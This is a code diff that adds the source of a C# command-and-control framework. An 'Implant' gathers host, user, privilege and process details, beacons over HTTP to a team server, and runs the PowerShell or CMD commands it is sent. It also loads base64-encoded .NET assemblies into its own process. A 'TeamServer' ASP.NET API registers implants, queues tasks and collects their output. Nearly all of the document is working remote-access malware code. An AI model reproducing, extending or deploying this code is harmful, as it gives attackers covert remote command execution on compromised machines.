return _out.ToString();
}
}
}

View File

@ -0,0 +1,54 @@
using System;
using System.Collections.ObjectModel;
using System.Linq;
using System.Management.Automation;
using System.Text;
namespace Implant.Tasks.Execute
{
class PSShellFunctions
{
public static bool Encoded { get; set; }
public static StringBuilder _out = new StringBuilder();
// drop into PS session
// create a PS instance and return as obj
public static PowerShell CreateInstance()
{
PowerShell ps = PowerShell.Create();
return ps;
}
// send cmd to execute to obj created from CreateInstance, pass result to WriteOutput
public static string Execute(PowerShell ps, string cmd)
{
PowerShell PSCmd = ps.AddScript(cmd);
Collection<PSObject> _out = null;
try
{
_out = PSCmd.Invoke();
}
catch (Exception e) { return $"Error occured: {e.Message}"; }
StringBuilder out_stream = new StringBuilder();
foreach (PSObject obj in _out)
{
if (obj.ToString().Contains(';')) { out_stream.AppendLine(obj.ToString().Replace(';', '\n')); }
else { out_stream.AppendLine(obj.ToString()); }
}
return out_stream.ToString().Trim('\n');
}
public static string ReturnEncodedCmd(PowerShell ps, string cmd){
// send cmd to execute to obj created from CreateInstance using encoded flag, pass result to WriteOutput
return "";
}
}
}

View File

@ -0,0 +1,22 @@
using System;
using Implant.Models;
using Implant.Utils;
namespace Implant.Tasks.Execute
{
class Load : ImplantCommands
{
private byte[] assemBytes { get; set; }
public override string Name => "Load";
public override string Execute(ImplantTask task)
{
assemBytes = Convert.FromBase64String(task.File);
var assem = LoadFunctions.LoadAssem(assemBytes);
return $"{assem.GetName().Name} loaded into implant process";
} }
}

View File

@ -0,0 +1,33 @@
using Implant.Models;
using Implant.Utils;
namespace Implant.Tasks.Execute
{
class PSShell : ImplantCommands
{
private string Command { get; set; }
private string Args { get; set; }
public override string Name => "PSShell";
public override string Execute(ImplantTask task)
{
var opts = ImplantOptionUtils.ReturnMethod(task);
Args = task.Args.Replace("\\", "");
var args = ImplantOptionUtils.ParseArgs(Args);
foreach (var opt in opts)
{
foreach (var _params in args.Params)
{
if ((_params.OptionName.ToLower() is "command")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
{
Command = _params.OptionValue;
}
}
}
var ps = PSShellFunctions.CreateInstance();
return PSShellFunctions.Execute(ps, Command).Trim('\n');
} }
}

View File

@ -0,0 +1,15 @@
using Implant.Models;
using System;
using System.Collections.Generic;
using static Implant.Models.ImplantTaskOptions;
namespace Implant.Tasks.Options
{
class AssemMethodQuery : ImplantOptions
{
public override string TaskName => "AssemMethodQuery";
public override List<object> Data => new List<object> { assemType, assemMethod};
}
}

View File

@ -0,0 +1,15 @@
using Implant.Models;
using System;
using System.Collections.Generic;
using static Implant.Models.ImplantTaskOptions;
namespace Implant.Tasks.Options
{
class AssemQuery : ImplantOptions
{
public override string TaskName => "AssemQuery";
public override List<object> Data => new List<object> { assemType };
}
}

View File

@ -0,0 +1,15 @@
using System.Collections.Generic;
using Implant.Models;
using static Implant.Models.ImplantTaskOptions;
namespace Implant.Tasks.Options
{
class CMDShell : ImplantOptions
{
public override string TaskName => "CMDShell";
public override List<object> Data => new List<object> { command };
}
}

View File

@ -0,0 +1,14 @@
using System.Collections.Generic;
using Implant.Models;
using static Implant.Models.ImplantTaskOptions;
namespace Implant.Tasks.Options
{
class Cd : ImplantOptions
{
public override string TaskName => "Cd";
public override List<object> Data => new List<object> { path };
}
}

View File

@ -0,0 +1,13 @@
using Implant.Models;
using System;
using System.Collections.Generic;
using static Implant.Models.ImplantTaskOptions;
namespace Implant.Tasks.Options
{
class ExecuteAssem : ImplantOptions
{
public override string TaskName => "ExecuteAssem";
public override List<object> Data => new List<object> { assemType }; }
}

View File

@ -0,0 +1,12 @@
using Implant.Models;
using System;
using System.Collections.Generic;
using static Implant.Models.ImplantTaskOptions;
namespace Implant.Tasks.Options
{
class ExecuteAssemMethod : ImplantOptions
{
public override string TaskName => "ExecuteAssemMethod"; public override List<object> Data => new List<object> { assemType, assemMethod }; }
}

View File

@ -0,0 +1,15 @@
using Implant.Models;
using System;
using System.Collections.Generic;
using static Implant.Models.ImplantTaskOptions;
namespace Implant.Tasks.Options
{
class Load : ImplantOptions
{
public override string TaskName => "Load";
public override List<object> Data => new List<object> { assemPath };
}
}

View File

@ -0,0 +1,15 @@
using System.Collections.Generic;
using Implant.Models;
using static Implant.Models.ImplantTaskOptions;
namespace Implant.Tasks.Options
{
class PSShell : ImplantOptions
{
public override string TaskName => "PSShell";
public override List<object> Data => new List<object> { command };
}
}

87
Implant/TestExe.cs Normal file
View File

@ -0,0 +1,87 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Reflection;
using System.Threading;
using Implant.Models;
using Implant.Utils;
namespace Implant
{
class Program
{
private static ImplantData _implantData;
private static Comms _comms;
private static CancellationTokenSource _cancelToken;
private static List<ImplantCommands> _commands = new List<ImplantCommands>();
//put into utils
public static void GenImplantData(){
var proc = Process.GetCurrentProcess();
_implantData = new ImplantData {
// get DNS hostname
ID = ImplantDataUtils.GenImplantName(), HostName = Environment.MachineName,
User = Environment.UserName, Integrity = ImplantDataUtils.ReturnIntegrity(),
Arch = ImplantDataUtils.ReturnArch(),
ProcID = proc.Id, ProcName = proc.ProcessName,
IPAddr = ImplantDataUtils.GetHostIP()
};
proc.Dispose();
}
public static void SendTaskOut(string _id, string _out) {
var taskOut = new ImplantTaskOut { Id = _id, TaskOut = _out };
_comms.DataSend(taskOut);
}
public static void HandleTask(ImplantTask task) {
var command = _commands.FirstOrDefault(cmd => cmd.Name.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase));
if (command is null) { return; }
var _out = command.Execute(task);
SendTaskOut(task.Id, _out);
}
public static void HandleTasks(IEnumerable<ImplantTask> tasks) {
foreach (var task in tasks) { HandleTask(task); }
}
public static void ImplantCommandsInit()
{
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())
{
if (type.IsSubclassOf(typeof(ImplantCommands)))
{
ImplantCommands cmd = Activator.CreateInstance(type) as ImplantCommands;
_commands.Add(cmd);
}
}
}
public void Stop() { _cancelToken.Cancel(); }
static void Main(string[] args) {
Thread.Sleep(10000);
GenImplantData();
ImplantCommandsInit();
_comms = new HTTPComms("localhost", 8080);
_comms.ImplantInit(_implantData);
_comms.Start();
_cancelToken = new CancellationTokenSource();
while (!_cancelToken.IsCancellationRequested) {
if (_comms.DataRecv(out var tasks)) { HandleTasks(tasks); }
}
}
}
}

View File

@ -0,0 +1,24 @@
using System.IO;
using System.Runtime.Serialization.Json;
namespace Implant.Utils
{
public static class Extensions
{
public static byte[] Serialize<T>(this T data)
{
var serializer = new DataContractJsonSerializer(typeof(T));
using(var stream = new MemoryStream()){
serializer.WriteObject(stream, data);
return stream.ToArray();
}
}
public static T Deserialize<T>(this byte[] data){
var serializer = new DataContractJsonSerializer(typeof(T));
using (var stream = new MemoryStream(data)) { return (T) serializer.ReadObject(stream); }
}
}
}

View File

@ -0,0 +1,44 @@
using System;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Security.Principal;
namespace Implant.Utils
{
public class ImplantDataUtils
{
public static string ReturnArch() {
var arch = IntPtr.Size == 8 ? "x64" : "x86";
return arch;
}
public static string ReturnIntegrity() {
var id = WindowsIdentity.GetCurrent();
var principal = new WindowsPrincipal(id);
var integrity = "Medium";
if (id.IsSystem) { integrity = "SYSTEM"; }
else if (principal.IsInRole(WindowsBuiltInRole.Administrator)) { integrity = "High"; }
id.Dispose();
return integrity;
}
public static Random random = new Random();
const string chars = "abcdefghijklmnopqrstuvwxyz0123456789";
public static string GenImplantName() { return new string(Enumerable.Repeat(chars, 8).Select(s => s[random.Next(s.Length)]).ToArray()); }
public static string GetHostIP()
{
using (Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, 0))
{
socket.Connect("8.8.8.8", 65530);
IPEndPoint endPoint = socket.LocalEndPoint as IPEndPoint;
return (endPoint.Address.ToString());
}
}
}
}

View File

@ -0,0 +1,49 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using Implant.Models;
using Newtonsoft.Json;
using static Implant.JSON.Classes;
using static Implant.Models.ImplantTaskData;
namespace Implant.Utils
{
public class ImplantOptionUtils
{
public static void OptsInit()
{
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())
{
if (type.IsSubclassOf(typeof(ImplantOptions)))
{
ImplantOptions function = Activator.CreateInstance(type) as ImplantOptions;
_opts.Add(function);
}
}
}
public static List<Object> ReturnMethod(ImplantTask task)
{
if (_opts.Count == 0) { OptsInit(); }
ImplantOptions opt = _opts.FirstOrDefault(u => u.TaskName.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase));
return opt.Data;
}
public static ArgsRecv ParseArgs(string jsonData){
return JsonConvert.DeserializeObject<ArgsRecv>(jsonData);
}
/*
public static ArgsRecv ParseArgs(byte[] jsonData)
{
return JsonConvert.DeserializeObject<ArgsRecv>(jsonData);
}
*/
}
}

View File

@ -0,0 +1,22 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Implant.Utils
{
public static class ImplantTaskUtils
{
public static object GetPropertyValue(this object T, string PropName)
{
return T.GetType().GetProperty(PropName) == null ? null : T.GetType().GetProperty(PropName).GetValue(T);
}
public static void SetPropertyValue(this object T, string PropName, string PropVal)
{
T.GetType().GetProperty(PropName).SetValue(T, PropVal);
}
}
}

4
Implant/packages.config Normal file
View File

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Newtonsoft.Json" version="13.0.1" targetFramework="net45" />
</packages>

View File

@ -0,0 +1,73 @@
using System;
using Microsoft.AspNetCore.Mvc;
using APIModels.Requests;
using TeamServer.Services;
using TeamServer.Models;
namespace TeamServer.Controllers.Implants
{
[ApiController]
[Route("[controller]")]
public class ImplantsController : ControllerBase
{
private readonly IImplantService _implants;
public ImplantsController(IImplantService implants) { _implants = implants; }
[HttpGet]
public IActionResult GetImplants(){
var implants = _implants.GetImplants();
return Ok(implants);
}
[HttpGet("{implantId}")]
public IActionResult GetImplant(string implantId)
{
var implant = _implants.GetImplant(implantId);
if (implant is null) { return NotFound($"{implantId} not found"); }
return Ok(implant);
}
[HttpGet("{implantId}/tasks")]
public IActionResult ReturnTasks(string implantId)
{
var implant = _implants.GetImplant(implantId);
if (implant is null) { return NotFound($"{implantId} not found"); }
var taskOuts = implant.GetTaskOut();
return Ok(taskOuts);
}
[HttpGet("{implantId}/tasks/{taskId}")]
public IActionResult ReturnTask(string implantId, string taskId)
{
var implant = _implants.GetImplant(implantId);
if (implant is null) { return NotFound($"{implantId} not found"); }
var taskOut = implant.ReturnTaskOut(taskId);
if(taskOut is null) { return NotFound($"{taskId} not found"); }
return Ok(taskOut);
}
[HttpPost("{implantId}")]
public IActionResult TaskImplant(string implantId, [FromBody] ImplantTaskRequest req)
{
var implant = _implants.GetImplant(implantId);
if(implant is null) { return NotFound($"{implantId} not found"); }
var task = new ImplantTask() { Id = Guid.NewGuid().ToString() , Command = req.Command , Args = req.Args, File = req.File};
implant.TaskQueue(task);
var root = $"{HttpContext.Request.Scheme}://{HttpContext.Request.Host}{HttpContext.Request.Path}";
var path = $"{root}/tasks/{task.Id}";
return Created(path, task);
}
}
}

View File

@ -0,0 +1,62 @@
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Threading.Tasks;
using TeamServer.Models;
using TeamServer.Services;
namespace TeamServer.Controllers
{
[Controller]
public class HTTPListenerController : ControllerBase
{
private readonly IImplantService _implants;
public HTTPListenerController(IImplantService implants) { _implants = implants; }
public async Task<IActionResult> HandleImplant(){
var implantData = DataExtract(HttpContext.Request.Headers);
if(implantData is null) { return NotFound(); }
var implant = _implants.GetImplant(implantData.ID);
if (implant is null){
implant = new Implant(implantData);
_implants.AddImplant(implant);
}
implant.PollImplant();
//System.Threading.Thread.Sleep(6000);
if(HttpContext.Request.Method == "POST") {
string respBody;
using (var stream = new StreamReader(HttpContext.Request.Body)) {
respBody = await stream.ReadToEndAsync();
}
var _out = JsonConvert.DeserializeObject<IEnumerable<ImplantTaskOut>>(respBody);
implant.AddTaskOut(_out);
}
var tasks = implant.GetPendingTasks();
return Ok(tasks);
}
public ImplantData DataExtract(IHeaderDictionary headers){
if (!headers.TryGetValue("Authorization", out var encData)) { return null; }
encData = encData.ToString().Remove(0, 7);
var jsonData = Encoding.UTF8.GetString(Convert.FromBase64String(encData));
return JsonConvert.DeserializeObject<ImplantData>(jsonData);
}
}
}

View File

@ -0,0 +1,65 @@
using Microsoft.AspNetCore.Mvc;
using APIModels.Requests;
using TeamServer.Services;
using TeamServer.Models;
namespace TeamServer.Controllers
{
[ApiController]
[Route("[controller]")]
public class ListenersController : ControllerBase
{
private readonly IListenerService _listeners;
private readonly IImplantService _implantSvc;
public ListenersController(IListenerService listeners, IImplantService implantsvc){
_listeners = listeners;
_implantSvc = implantsvc;
}
[HttpGet]
public IActionResult GetListeners(){
var listeners = _listeners.GetListeners();
return Ok(listeners);
}
[HttpGet("{name}")]
public IActionResult GetListener(string name) {
var listener = _listeners.GetListener(name);
if (listener is null) { return NotFound($"listener {name} not found"); }
return Ok(listener);
}
[HttpPost]
public IActionResult StartListener([FromBody] StartHTTPListenerRequest request) {
var listener = new HTTPListener(request.Name, request.BindPort);
_listeners.AddListener(listener);
listener.Init(_implantSvc);
listener.Start();
var root = $"{HttpContext.Request.Scheme}://{HttpContext.Request.Host}{HttpContext.Request.Path}";
var path = $"{root}/{listener}";
return Created(path, listener);
}
[HttpDelete]
public IActionResult PurgeListener(string name)
{
var listener = _listeners.GetListener(name);
if(listener is null) { return NotFound($"{listener} not found"); }
listener.Stop();
_listeners.PurgeListener(listener);
return Ok($"{listener.Name} stopped");
}
}
}

View File

@ -0,0 +1,18 @@
using System.Collections.Generic;
namespace TeamServer.JSON
{
public class Classes
{
public class TaskArgs
{
public string OptionName { get; set; }
public string OptionValue { get; set; }
}
public class ArgsRecv
{
public List<TaskArgs> Params { get; set; }
}
}
}

View File

@ -0,0 +1,39 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
namespace TeamServer.Models
{
public class Implant
{
public ImplantData Data { get; private set; }
public DateTime LastSeen { get; private set; }
private readonly ConcurrentQueue<ImplantTask> _pendingTasks = new();
private readonly List<ImplantTaskOut> _taskOut = new();
public Implant(ImplantData data){
Data = data;
}
public void PollImplant(){ LastSeen = DateTime.UtcNow; }
public void TaskQueue(ImplantTask task) { _pendingTasks.Enqueue(task); }
public IEnumerable<ImplantTask> GetPendingTasks(){
List<ImplantTask> tasks = new();
while (_pendingTasks.TryDequeue(out var task)){ tasks.Add(task); }
return tasks;
}
public ImplantTaskOut ReturnTaskOut(string taskId){ return GetTaskOut().FirstOrDefault(task_out => task_out.Id.Equals(taskId)); }
public IEnumerable<ImplantTaskOut> GetTaskOut() { return _taskOut; }
public void AddTaskOut(IEnumerable<ImplantTaskOut> _out) { _taskOut.AddRange(_out); }
}
}

View File

@ -0,0 +1,14 @@
namespace TeamServer.Models
{
public class ImplantData
{
public string ID { get; set; }
public string HostName { get; set; }
public string User { get; set; }
public string ProcName { get; set; }
public int ProcID { get; set; }
public string Integrity { get; set; }
public string Arch { get; set; }
public string IPAddr { get; set; }
}
}

View File

@ -0,0 +1,10 @@
namespace TeamServer.Models
{
public class ImplantTask
{
public string Id { get; set; }
public string Command { get; set; }
public string Args { get; set; }
public string File { get; set; }
}
}

View File

@ -0,0 +1,8 @@
namespace TeamServer.Models
{
public class ImplantTaskOut
{
public string Id { get; set; }
public string TaskOut { get; set; }
}
}

View File

@ -0,0 +1,53 @@
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Hosting;
using System.Threading;
using System.Threading.Tasks;
namespace TeamServer.Models
{
public class HTTPListener : Listener
{
public override string Name { get; }
public int BindPort { get; }
public CancellationTokenSource _cancelToken;
public HTTPListener(string name, int port){
Name = name;
BindPort = port;
}
public override async Task Start()
{
var Builder = new HostBuilder().ConfigureWebHostDefaults(host =>
{
host.UseUrls($"http://0.0.0.0:{BindPort}");
host.Configure(ConfigureApplication);
host.ConfigureServices(ConfigureServices);
});
var host = Builder.Build();
_cancelToken = new CancellationTokenSource();
host.RunAsync(_cancelToken.Token);
}
private void ConfigureServices(IServiceCollection services) {
services.AddControllers();
services.AddSingleton(ImplantSvc);
}
private void ConfigureApplication(IApplicationBuilder app){
app.UseRouting();
app.UseEndpoints(endpoint => {
// could have it so that TS only accept conns to xyz paths
endpoint.MapControllerRoute("/", "/", new { controller = "HTTPListener", action = "HandleImplant"});
});
}
public override void Stop(){ _cancelToken.Cancel(); }
}
}

View File

@ -0,0 +1,17 @@
using System.Threading.Tasks;
using TeamServer.Services;
namespace TeamServer.Models
{
public abstract class Listener
{
public abstract string Name { get; }
protected IImplantService ImplantSvc { get; set; }
public void Init(IImplantService implantSvc) { ImplantSvc = implantSvc; }
public abstract Task Start();
public abstract void Stop();
}
}

16
TeamServer/Program.cs Normal file
View File

@ -0,0 +1,16 @@
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Hosting;
namespace TeamServer
{
public class Program
{
public static void Main(string[] args)
{
CreateHostBuilder(args).Build().Run();
}
public static IHostBuilder CreateHostBuilder(string[] args) =>
Host.CreateDefaultBuilder(args).ConfigureWebHostDefaults(webBuilder => { webBuilder.UseStartup<Startup>(); });
}
}

View File

@ -0,0 +1,23 @@
{
"$schema": "http://json.schemastore.org/launchsettings.json",
"iisSettings": {
"windowsAuthentication": false,
"anonymousAuthentication": true,
"iisExpress": {
"applicationUrl": "http://localhost:43607",
"sslPort": 0
}
},
"profiles": {
"TeamServer": {
"commandName": "Project",
"dotnetRunMessages": "true",
"launchBrowser": false,
"launchUrl": "swagger",
"applicationUrl": "http://localhost:5000",
"environmentVariables": {
"ASPNETCORE_ENVIRONMENT": "Development"
}
}
}
}

View File

@ -0,0 +1,27 @@
using System.Collections.Generic;
using System.Linq;
using TeamServer.Models;
namespace TeamServer.Services
{
public interface IImplantService{
void AddImplant(Implant implant);
IEnumerable<Implant> GetImplants();
Implant GetImplant(string id);
void PurgeImplant(Implant implant);
}
public class ImplantService : IImplantService
{
private readonly List<Implant> _implants = new();
public void AddImplant(Implant implant) { _implants.Add(implant); }
public Implant GetImplant(string id) { return GetImplants().FirstOrDefault(implant => implant.Data.ID.Equals(id)); }
public IEnumerable<Implant> GetImplants() { return _implants; }
public void PurgeImplant(Implant implant) { _implants.Remove(implant); }
}
}

View File

@ -0,0 +1,30 @@
using System;
using System.Collections.Generic;
using System.Linq;
using TeamServer.Models;
namespace TeamServer.Services
{
public interface IListenerService{
void AddListener(Listener listener);
IEnumerable<Listener> GetListeners();
Listener GetListener(string name);
void PurgeListener(Listener listener);
}
public class ListenerService : IListenerService
{
//add to files or something later
public static readonly List<Listener> _listeners = new List<Listener>();
public void AddListener(Listener listener) { _listeners.Add(listener); }
public Listener GetListener(string name){
return GetListeners().FirstOrDefault(listener => listener.Name.Equals(name, StringComparison.InvariantCultureIgnoreCase));
}
public IEnumerable<Listener> GetListeners(){ return _listeners; }
public void PurgeListener(Listener listener){ _listeners.Remove(listener); }
}
}

54
TeamServer/Startup.cs Normal file
View File

@ -0,0 +1,54 @@
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Hosting;
using Microsoft.OpenApi.Models;
using TeamServer.Services;
namespace TeamServer
{
public class Startup
{
public Startup(IConfiguration configuration)
{
Configuration = configuration;
}
public IConfiguration Configuration { get; }
// This method gets called by the runtime. Use this method to add services to the container.
public void ConfigureServices(IServiceCollection services)
{
services.AddControllers();
services.AddSwaggerGen(c =>
{
c.SwaggerDoc("v1", new OpenApiInfo { Title = "TeamServer", Version = "v1" });
});
services.AddSingleton<IListenerService, ListenerService>();
services.AddSingleton<IImplantService, ImplantService>();
}
// This method gets called by the runtime. Use this method to configure the HTTP request pipeline.
public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
if (env.IsDevelopment())
{
app.UseDeveloperExceptionPage();
app.UseSwagger();
app.UseSwaggerUI(c => c.SwaggerEndpoint("/swagger/v1/swagger.json", "TeamServer v1"));
}
app.UseRouting();
app.UseAuthorization();
app.UseEndpoints(endpoints =>
{
endpoints.MapControllers();
});
}
}
}

View File

@ -0,0 +1,16 @@
<Project Sdk="Microsoft.NET.Sdk.Web">
<PropertyGroup>
<TargetFramework>net5.0</TargetFramework>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="Newtonsoft.Json" Version="13.0.1" />
<PackageReference Include="Swashbuckle.AspNetCore" Version="5.6.3" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\APIModels\APIModels.csproj" />
</ItemGroup>
</Project>

Some files were not shown because too many files have changed in this diff Show More